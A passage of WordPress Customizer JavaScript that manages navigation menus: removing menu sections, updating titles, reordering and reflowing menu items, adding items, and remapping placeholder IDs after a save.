2881 var control = this,
2882 section,
2883 menuId = control.params.menu_id,
2884 removeSection,
2885 widgetTemplate,
2886 navMenuCount = 0;
2887 section = api.section( control.section() );
2888 removeSection = function() {
2889 section.container.remove();
2890 api.section.remove( section.id );
2891 };
2892
2893 if ( section && section.expanded() ) {
2894 section.collapse({
2895 completeCallback: function() {
2896 removeSection();
2897 wp.a11y.speak( api.Menus.data.l10n.menuDeleted );
2898 api.panel( 'nav_menus' ).focus();
2899 }
2900 });
2901 } else {
2902 removeSection();
2903 }
2904
2905 api.each(function( setting ) {
2906 if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
2907 navMenuCount += 1;
2908 }
2909 });
2910
2911 // Remove the menu from any Navigation Menu widgets.
2912 api.control.each(function( widgetControl ) {
2913 if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) {
2914 return;
2915 }
2916 var select = widgetControl.container.find( 'select' );
2917 if ( select.val() === String( menuId ) ) {
2918 select.prop( 'selectedIndex', 0 ).trigger( 'change' );
2919 }
2920
2921 widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
2922 widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
2923 widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove();
2924 });
2925
2926 // Remove the menu to the nav menu widget template.
2927 widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
2928 widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
2929 widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
2930 widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove();
2931 },
2932
2933 /**
2934 * Update Section Title as menu name is changed.
2935 */
2936 _setupTitle: function() {
2937 var control = this;
2938
2939 control.setting.bind( function( menu ) {
2940 if ( ! menu ) {
2941 return;
2942 }
2943
2944 var section = api.section( control.section() ),
2945 menuId = control.params.menu_id,
2946 controlTitle = section.headContainer.find( '.accordion-section-title' ),
2947 sectionTitle = section.contentContainer.find( '.customize-section-title h3' ),
2948 location = section.headContainer.find( '.menu-in-location' ),
2949 action = sectionTitle.find( '.customize-action' ),
2950 name = displayNavMenuName( menu.name );
2951
2952 // Update the control title.
2953 controlTitle.text( name );
2954 if ( location.length ) {
2955 location.appendTo( controlTitle );
2956 }
2957
2958 // Update the section title.
2959 sectionTitle.text( name );
2960 if ( action.length ) {
2961 action.prependTo( sectionTitle );
2962 }
2963
2964 // Update the nav menu name in location selects.
2965 api.control.each( function( control ) {
2966 if ( /^nav_menu_locations\[/.test( control.id ) ) {
2967 control.container.find( 'option[value=' + menuId + ']' ).text( name );
2968 }
2969 } );
2970
2971 // Update the nav menu name in all location checkboxes.
2972 section.contentContainer.find( '.customize-control-checkbox input' ).each( function() {
2973 if ( $( this ).prop( 'checked' ) ) {
2974 $( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name );
2975 }
2976 } );
2977 } );
2978 },
2979
2980 /***********************************************************************
2981 * Begin public API methods
2982 **********************************************************************/
2983
2984 /**
2985 * Enable/disable the reordering UI
2986 *
2987 * @param {boolean} showOrHide to enable/disable reordering
2988 */
2989 toggleReordering: function( showOrHide ) {
2990 var addNewItemBtn = this.container.find( '.add-new-menu-item' ),
2991 reorderBtn = this.container.find( '.reorder-toggle' ),
2992 itemsTitle = this.$sectionContent.find( '.item-title' );
2993
2994 showOrHide = Boolean( showOrHide );
2995
2996 if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) {
2997 return;
2998 }
2999
3000 this.isReordering = showOrHide;
3001 this.$sectionContent.toggleClass( 'reordering', showOrHide );
3002 this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' );
3003 if ( this.isReordering ) {
3004 addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
3005 reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff );
3006 wp.a11y.speak( api.Menus.data.l10n.reorderModeOn );
3007 itemsTitle.attr( 'aria-hidden', 'false' );
3008 } else {
3009 addNewItemBtn.removeAttr( 'tabindex aria-hidden' );
3010 reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn );
3011 wp.a11y.speak( api.Menus.data.l10n.reorderModeOff );
3012 itemsTitle.attr( 'aria-hidden', 'true' );
3013 }
3014
3015 if ( showOrHide ) {
3016 _( this.getMenuItemControls() ).each( function( formControl ) {
3017 formControl.collapseForm();
3018 } );
3019 }
3020 },
3021
3022 /**
3023 * @return {wp.customize.controlConstructor.nav_menu_item[]}
3024 */
3025 getMenuItemControls: function() {
3026 var menuControl = this,
3027 menuItemControls = [],
3028 menuTermId = menuControl.params.menu_id;
3029
3030 api.control.each(function( control ) {
3031 if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) {
3032 menuItemControls.push( control );
3033 }
3034 });
3035
3036 return menuItemControls;
3037 },
3038
3039 /**
3040 * Make sure that each menu item control has the proper depth.
3041 */
3042 reflowMenuItems: function() {
3043 var menuControl = this,
3044 menuItemControls = menuControl.getMenuItemControls(),
3045 reflowRecursively;
3046
3047 reflowRecursively = function( context ) {
3048 var currentMenuItemControls = [],
3049 thisParent = context.currentParent;
3050 _.each( context.menuItemControls, function( menuItemControl ) {
3051 if ( thisParent === menuItemControl.setting().menu_item_parent ) {
3052 currentMenuItemControls.push( menuItemControl );
3053 // @todo We could remove this item from menuItemControls now, for efficiency.
3054 }
3055 });
3056 currentMenuItemControls.sort( function( a, b ) {
3057 return a.setting().position - b.setting().position;
3058 });
3059
3060 _.each( currentMenuItemControls, function( menuItemControl ) {
3061 // Update position.
3062 context.currentAbsolutePosition += 1;
3063 menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order.
3064
3065 // Update depth.
3066 if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) {
3067 _.each( menuItemControl.container.prop( 'className' ).match( /menu-item-depth-\d+/g ), function( className ) {
3068 menuItemControl.container.removeClass( className );
3069 });
3070 menuItemControl.container.addClass( 'menu-item-depth-' + String( context.currentDepth ) );
3071 }
3072 menuItemControl.container.data( 'item-depth', context.currentDepth );
3073
3074 // Process any children items.
3075 context.currentDepth += 1;
3076 context.currentParent = menuItemControl.params.menu_item_id;
3077 reflowRecursively( context );
3078 context.currentDepth -= 1;
3079 context.currentParent = thisParent;
3080 });
3081
3082 // Update class names for reordering controls.
3083 if ( currentMenuItemControls.length ) {
3084 _( currentMenuItemControls ).each(function( menuItemControl ) {
3085 menuItemControl.container.removeClass( 'move-up-disabled move-down-disabled move-left-disabled move-right-disabled' );
3086 if ( 0 === context.currentDepth ) {
3087 menuItemControl.container.addClass( 'move-left-disabled' );
3088 } else if ( 10 === context.currentDepth ) {
3089 menuItemControl.container.addClass( 'move-right-disabled' );
3090 }
3091 });
3092
3093 currentMenuItemControls[0].container
3094 .addClass( 'move-up-disabled' )
3095 .addClass( 'move-right-disabled' )
3096 .toggleClass( 'move-down-disabled', 1 === currentMenuItemControls.length );
3097 currentMenuItemControls[ currentMenuItemControls.length - 1 ].container
3098 .addClass( 'move-down-disabled' )
3099 .toggleClass( 'move-up-disabled', 1 === currentMenuItemControls.length );
3100 }
3101 };
3102
3103 reflowRecursively( {
3104 menuItemControls: menuItemControls,
3105 currentParent: 0,
3106 currentDepth: 0,
3107 currentAbsolutePosition: 0
3108 } );
3109
3110 menuControl.updateInvitationVisibility( menuItemControls );
3111 menuControl.container.find( '.reorder-toggle' ).toggle( menuItemControls.length > 1 );
3112 },
3113
3114 /**
3115 * Note that this function gets debounced so that when a lot of setting
3116 * changes are made at once, for instance when moving a menu item that
3117 * has child items, this function will only be called once all of the
3118 * settings have been updated.
3119 */
3120 debouncedReflowMenuItems: _.debounce( function() {
3121 this.reflowMenuItems.apply( this, arguments );
3122 }, 0 ),
3123
3124 /**
3125 * Add a new item to this menu.
3126 *
3127 * @param {Object} item - Value for the nav_menu_item setting to be created.
3128 * @return {wp.customize.Menus.controlConstructor.nav_menu_item} The newly-created nav_menu_item control instance.
3129 */
3130 addItemToMenu: function( item ) {
3131 var menuControl = this, customizeId, settingArgs, setting, menuItemControl, placeholderId, position = 0, priority = 10,
3132 originalItemId = item.id || '';
3133
3134 _.each( menuControl.getMenuItemControls(), function( control ) {
3135 if ( false === control.setting() ) {
3136 return;
3137 }
3138 priority = Math.max( priority, control.priority() );
3139 if ( 0 === control.setting().menu_item_parent ) {
3140 position = Math.max( position, control.setting().position );
3141 }
3142 });
3143 position += 1;
3144 priority += 1;
3145
3146 item = $.extend(
3147 {},
3148 api.Menus.data.defaultSettingValues.nav_menu_item,
3149 item,
3150 {
3151 nav_menu_term_id: menuControl.params.menu_id,
3152 position: position
3153 }
3154 );
3155 delete item.id; // Only used by Backbone.
3156
3157 placeholderId = api.Menus.generatePlaceholderAutoIncrementId();
3158 customizeId = 'nav_menu_item[' + String( placeholderId ) + ']';
3159 settingArgs = {
3160 type: 'nav_menu_item',
3161 transport: api.Menus.data.settingTransport,
3162 previewer: api.previewer
3163 };
3164 setting = api.create( customizeId, customizeId, {}, settingArgs );
3165 setting.set( item ); // Change from initial empty object to actual item to mark as dirty.
3166
3167 // Add the menu item control.
3168 menuItemControl = new api.controlConstructor.nav_menu_item( customizeId, {
3169 type: 'nav_menu_item',
3170 section: menuControl.id,
3171 priority: priority,
3172 settings: {
3173 'default': customizeId
3174 },
3175 menu_item_id: placeholderId,
3176 original_item_id: originalItemId
3177 } );
3178
3179 api.control.add( menuItemControl );
3180 setting.preview();
3181 menuControl.debouncedReflowMenuItems();
3182
3183 wp.a11y.speak( api.Menus.data.l10n.itemAdded );
3184
3185 return menuItemControl;
3186 },
3187
3188 /**
3189 * Show an invitation to add new menu items when there are no menu items.
3190 *
3191 * @since 4.9.0
3192 *
3193 * @param {wp.customize.controlConstructor.nav_menu_item[]} optionalMenuItemControls
3194 */
3195 updateInvitationVisibility: function ( optionalMenuItemControls ) {
3196 var menuItemControls = optionalMenuItemControls || this.getMenuItemControls();
3197
3198 this.container.find( '.new-menu-item-invitation' ).toggle( menuItemControls.length === 0 );
3199 }
3200 } );
3201
3202 /**
3203 * Extends wp.customize.controlConstructor with control constructor for
3204 * menu_location, menu_item, nav_menu, and new_menu.
3205 */
3206 $.extend( api.controlConstructor, {
3207 nav_menu_location: api.Menus.MenuLocationControl,
3208 nav_menu_item: api.Menus.MenuItemControl,
3209 nav_menu: api.Menus.MenuControl,
3210 nav_menu_name: api.Menus.MenuNameControl,
3211 nav_menu_locations: api.Menus.MenuLocationsControl,
3212 nav_menu_auto_add: api.Menus.MenuAutoAddControl
3213 });
3214
3215 /**
3216 * Extends wp.customize.panelConstructor with section constructor for menus.
3217 */
3218 $.extend( api.panelConstructor, {
3219 nav_menus: api.Menus.MenusPanel
3220 });
3221
3222 /**
3223 * Extends wp.customize.sectionConstructor with section constructor for menu.
3224 */
3225 $.extend( api.sectionConstructor, {
3226 nav_menu: api.Menus.MenuSection,
3227 new_menu: api.Menus.NewMenuSection
3228 });
3229
3230 /**
3231 * Init Customizer for menus.
3232 */
3233 api.bind( 'ready', function() {
3234
3235 // Set up the menu items panel.
3236 api.Menus.availableMenuItemsPanel = new api.Menus.AvailableMenuItemsPanelView({
3237 collection: api.Menus.availableMenuItems
3238 });
3239
3240 api.bind( 'saved', function( data ) {
3241 if ( data.nav_menu_updates || data.nav_menu_item_updates ) {
3242 api.Menus.applySavedData( data );
3243 }
3244 } );
3245
3246 /*
3247 * Reset the list of posts created in the customizer once published.
3248 * The setting is updated quietly (bypassing events being triggered)
3249 * so that the customized state doesn't become immediately dirty.
3250 */
3251 api.state( 'changesetStatus' ).bind( function( status ) {
3252 if ( 'publish' === status ) {
3253 api( 'nav_menus_created_posts' )._value = [];
3254 }
3255 } );
3256
3257 // Open and focus menu control.
3258 api.previewer.bind( 'focus-nav-menu-item-control', api.Menus.focusMenuItemControl );
3259 } );
3260
3261 /**
3262 * When customize_save comes back with a success, make sure any inserted
3263 * nav menus and items are properly re-added with their newly-assigned IDs.
3264 *
3265 * @alias wp.customize.Menus.applySavedData
3266 *
3267 * @param {Object} data
3268 * @param {Array} data.nav_menu_updates
3269 * @param {Array} data.nav_menu_item_updates
3270 */
3271 api.Menus.applySavedData = function( data ) {
3272
3273 var insertedMenuIdMapping = {}, insertedMenuItemIdMapping = {};
3274
3275 _( data.nav_menu_updates ).each(function( update ) {
3276 var oldCustomizeId, newCustomizeId, customizeId, oldSetting, newSetting, setting, settingValue, oldSection, newSection, wasSaved, widgetTemplate, navMenuCount, shouldExpandNewSection;
3277 if ( 'inserted' === update.status ) {
3278 if ( ! update.previous_term_id ) {
3279 throw new Error( 'Expected previous_term_id' );
3280 }
3281 if ( ! update.term_id ) {
3282 throw new Error( 'Expected term_id' );
3283 }
3284 oldCustomizeId = 'nav_menu[' + String( update.previous_term_id ) + ']';
3285 if ( ! api.has( oldCustomizeId ) ) {
3286 throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
3287 }
3288 oldSetting = api( oldCustomizeId );
3289 if ( ! api.section.has( oldCustomizeId ) ) {
3290 throw new Error( 'Expected control to exist: ' + oldCustomizeId );
3291 }
3292 oldSection = api.section( oldCustomizeId );
3293
3294 settingValue = oldSetting.get();
3295 if ( ! settingValue ) {
3296 throw new Error( 'Did not expect setting to be empty (deleted).' );
3297 }
3298 settingValue = $.extend( _.clone( settingValue ), update.saved_value );
3299
3300 insertedMenuIdMapping[ update.previous_term_id ] = update.term_id;
3301 newCustomizeId = 'nav_menu[' + String( update.term_id ) + ']';
3302 newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
3303 type: 'nav_menu',
3304 transport: api.Menus.data.settingTransport,
3305 previewer: api.previewer
3306 } );
3307
3308 shouldExpandNewSection = oldSection.expanded();
3309 if ( shouldExpandNewSection ) {
3310 oldSection.collapse();
3311 }
3312
3313 // Add the menu section.
3314 newSection = new api.Menus.MenuSection( newCustomizeId, {
3315 panel: 'nav_menus',
3316 title: settingValue.name,
3317 customizeAction: api.Menus.data.l10n.customizingMenus,
3318 type: 'nav_menu',
3319 priority: oldSection.priority.get(),
3320 menu_id: update.term_id
3321 } );
3322
3323 // Add new control for the new menu.
3324 api.section.add( newSection );
3325
3326 // Update the values for nav menus in Navigation Menu controls.
3327 api.control.each( function( setting ) {
3328 if ( ! setting.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== setting.params.widget_id_base ) {
3329 return;
3330 }
3331 var select, oldMenuOption, newMenuOption;
3332 select = setting.container.find( 'select' );
3333 oldMenuOption = select.find( 'option[value=' + String( update.previous_term_id ) + ']' );
3334 newMenuOption = select.find( 'option[value=' + String( update.term_id ) + ']' );
3335 newMenuOption.prop( 'selected', oldMenuOption.prop( 'selected' ) );
3336 oldMenuOption.remove();
3337 } );
3338
3339 // Delete the old placeholder nav_menu.
3340 oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
3341 oldSetting.set( false );
3342 oldSetting.preview();
3343 newSetting.preview();
3344 oldSetting._dirty = false;
3345
3346 // Remove nav_menu section.
3347 oldSection.container.remove();
3348 api.section.remove( oldCustomizeId );
3349
3350 // Update the nav_menu widget to reflect removed placeholder menu.
3351 navMenuCount = 0;
3352 api.each(function( setting ) {
3353 if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) {
3354 navMenuCount += 1;
3355 }
3356 });
3357 widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' );
3358 widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount );
3359 widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount );
3360 widgetTemplate.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
3361
3362 // Update the nav_menu_locations[...] controls to remove the placeholder menus from the dropdown options.
3363 wp.customize.control.each(function( control ){
3364 if ( /^nav_menu_locations\[/.test( control.id ) ) {
3365 control.container.find( 'option[value=' + String( update.previous_term_id ) + ']' ).remove();
3366 }
3367 });
3368
3369 // Update nav_menu_locations to reference the new ID.
3370 api.each( function( setting ) {
3371 var wasSaved = api.state( 'saved' ).get();
3372 if ( /^nav_menu_locations\[/.test( setting.id ) && setting.get() === update.previous_term_id ) {
3373 setting.set( update.term_id );
3374 setting._dirty = false; // Not dirty because this is has also just been done on server in WP_Customize_Nav_Menu_Setting::update().
3375 api.state( 'saved' ).set( wasSaved );
3376 setting.preview();
3377 }
3378 } );
3379
3380 if ( shouldExpandNewSection ) {
3381 newSection.expand();
3382 }
3383 } else if ( 'updated' === update.status ) {
3384 customizeId = 'nav_menu[' + String( update.term_id ) + ']';
3385 if ( ! api.has( customizeId ) ) {
3386 throw new Error( 'Expected setting to exist: ' + customizeId );
3387 }
3388
3389 // Make sure the setting gets updated with its sanitized server value (specifically the conflict-resolved name).
3390 setting = api( customizeId );
3391 if ( ! _.isEqual( update.saved_value, setting.get() ) ) {
3392 wasSaved = api.state( 'saved' ).get();
3393 setting.set( update.saved_value );
3394 setting._dirty = false;
3395 api.state( 'saved' ).set( wasSaved );
3396 }
3397 }
3398 } );
3399
3400 // Build up mapping of nav_menu_item placeholder IDs to inserted IDs.
3401 _( data.nav_menu_item_updates ).each(function( update ) {
3402 if ( update.previous_post_id ) {
3403 insertedMenuItemIdMapping[ update.previous_post_id ] = update.post_id;
3404 }
3405 });
3406
3407 _( data.nav_menu_item_updates ).each(function( update ) {
3408 var oldCustomizeId, newCustomizeId, oldSetting, newSetting, settingValue, oldControl, newControl;
3409 if ( 'inserted' === update.status ) {
3410 if ( ! update.previous_post_id ) {
3411 throw new Error( 'Expected previous_post_id' );
3412 }
3413 if ( ! update.post_id ) {
3414 throw new Error( 'Expected post_id' );
3415 }
3416 oldCustomizeId = 'nav_menu_item[' + String( update.previous_post_id ) + ']';
3417 if ( ! api.has( oldCustomizeId ) ) {
3418 throw new Error( 'Expected setting to exist: ' + oldCustomizeId );
3419 }
3420 oldSetting = api( oldCustomizeId );
3421 if ( ! api.control.has( oldCustomizeId ) ) {
3422 throw new Error( 'Expected control to exist: ' + oldCustomizeId );
3423 }
3424 oldControl = api.control( oldCustomizeId );
3425
3426 settingValue = oldSetting.get();
3427 if ( ! settingValue ) {
3428 throw new Error( 'Did not expect setting to be empty (deleted).' );
3429 }
3430 settingValue = _.clone( settingValue );
3431
3432 // If the parent menu item was also inserted, update the menu_item_parent to the new ID.
3433 if ( settingValue.menu_item_parent < 0 ) {
3434 if ( ! insertedMenuItemIdMapping[ settingValue.menu_item_parent ] ) {
3435 throw new Error( 'inserted ID for menu_item_parent not available' );
3436 }
3437 settingValue.menu_item_parent = insertedMenuItemIdMapping[ settingValue.menu_item_parent ];
3438 }
3439
3440 // If the menu was also inserted, then make sure it uses the new menu ID for nav_menu_term_id.
3441 if ( insertedMenuIdMapping[ settingValue.nav_menu_term_id ] ) {
3442 settingValue.nav_menu_term_id = insertedMenuIdMapping[ settingValue.nav_menu_term_id ];
3443 }
3444
3445 newCustomizeId = 'nav_menu_item[' + String( update.post_id ) + ']';
3446 newSetting = api.create( newCustomizeId, newCustomizeId, settingValue, {
3447 type: 'nav_menu_item',
3448 transport: api.Menus.data.settingTransport,
3449 previewer: api.previewer
3450 } );
3451
3452 // Add the menu control.
3453 newControl = new api.controlConstructor.nav_menu_item( newCustomizeId, {
3454 type: 'nav_menu_item',
3455 menu_id: update.post_id,
3456 section: 'nav_menu[' + String( settingValue.nav_menu_term_id ) + ']',
3457 priority: oldControl.priority.get(),
3458 settings: {
3459 'default': newCustomizeId
3460 },
3461 menu_item_id: update.post_id
3462 } );
3463
3464 // Remove old control.
3465 oldControl.container.remove();
3466 api.control.remove( oldCustomizeId );
3467
3468 // Add new control to take its place.
3469 api.control.add( newControl );
3470
3471 // Delete the placeholder and preview the new setting.
3472 oldSetting.callbacks.disable(); // Prevent setting triggering Customizer dirty state when set.
3473 oldSetting.set( false );
3474 oldSetting.preview();
3475 newSetting.preview();
3476 oldSetting._dirty = false;
3477
3478 newControl.container.toggleClass( 'menu-item-edit-inactive', oldControl.container.hasClass( 'menu-item-edit-inactive' ) );
3479 }
3480 });
3481
3482 /*
3483 * Update the settings for any nav_menu widgets that had selected a placeholder ID.
3484 */
3485 _.each( data.widget_nav_menu_updates, function( widgetSettingValue, widgetSettingId ) {
3486 var setting = api( widgetSettingId );
3487 if ( setting ) {
3488 setting._value = widgetSettingValue;
3489 setting.preview(); // Send to the preview now so that menu refresh will use the inserted menu.
3490 }
3491 });
3492 };
3493
3494 /**
3495 * Focus a menu item control.
3496 *
3497 * @alias wp.customize.Menus.focusMenuItemControl
3498 *
3499 * @param {string} menuItemId
3500 */
3501 api.Menus.focusMenuItemControl = function( menuItemId ) {
3502 var control = api.Menus.getMenuItemControl( menuItemId );
3503 if ( control ) {
3504 control.focus();
3505 }
3506 };
3507
3508 /**
3509 * Get the control for a given menu.
3510 *
3511 * @alias wp.customize.Menus.getMenuControl
3512 *
3513 * @param menuId
3514 * @return {wp.customize.controlConstructor.menus[]}
3515 */
3516 api.Menus.getMenuControl = function( menuId ) {
3517 return api.control( 'nav_menu[' + menuId + ']' );
3518 };
3519
3520 /**
3521 * Given a menu item ID, get the control associated with it.
3522 *
3523 * @alias wp.customize.Menus.getMenuItemControl
3524 *
3525 * @param {string} menuItemId
3526 * @return {Object|null}
3527 */
3528 api.Menus.getMenuItemControl = function( menuItemId ) {
3529 return api.control( menuItemIdToSettingId( menuItemId ) );
3530 };
3531
3532 /**
3533 * @alias wp.customize.Menus~menuItemIdToSettingId
3534 *
3535 * @param {string} menuItemId
3536 */
3537 function menuItemIdToSettingId( menuItemId ) {
3538 return 'nav_menu_item[' + menuItemId + ']';
3539 }
3540
3541 /**
3542 * Apply sanitize_text_field()-like logic to the supplied name, returning a
3543 * "unnammed" fallback string if the name is then empty.
3544 *
3545 * @alias wp.customize.Menus~displayNavMenuName
3546 *
3547 * @param {string} name
3548 * @return {string}
3549 */
3550 function displayNavMenuName( name ) {
3551 name = name || '';
3552 name = wp.sanitize.stripTagsAndEncodeText( name ); // Remove any potential tags from name.
3553 name = name.toString().trim();
3554 return name || api.Menus.data.l10n.unnamed;
3555 }
3556
3557})( wp.customize, wp, jQuery );
3558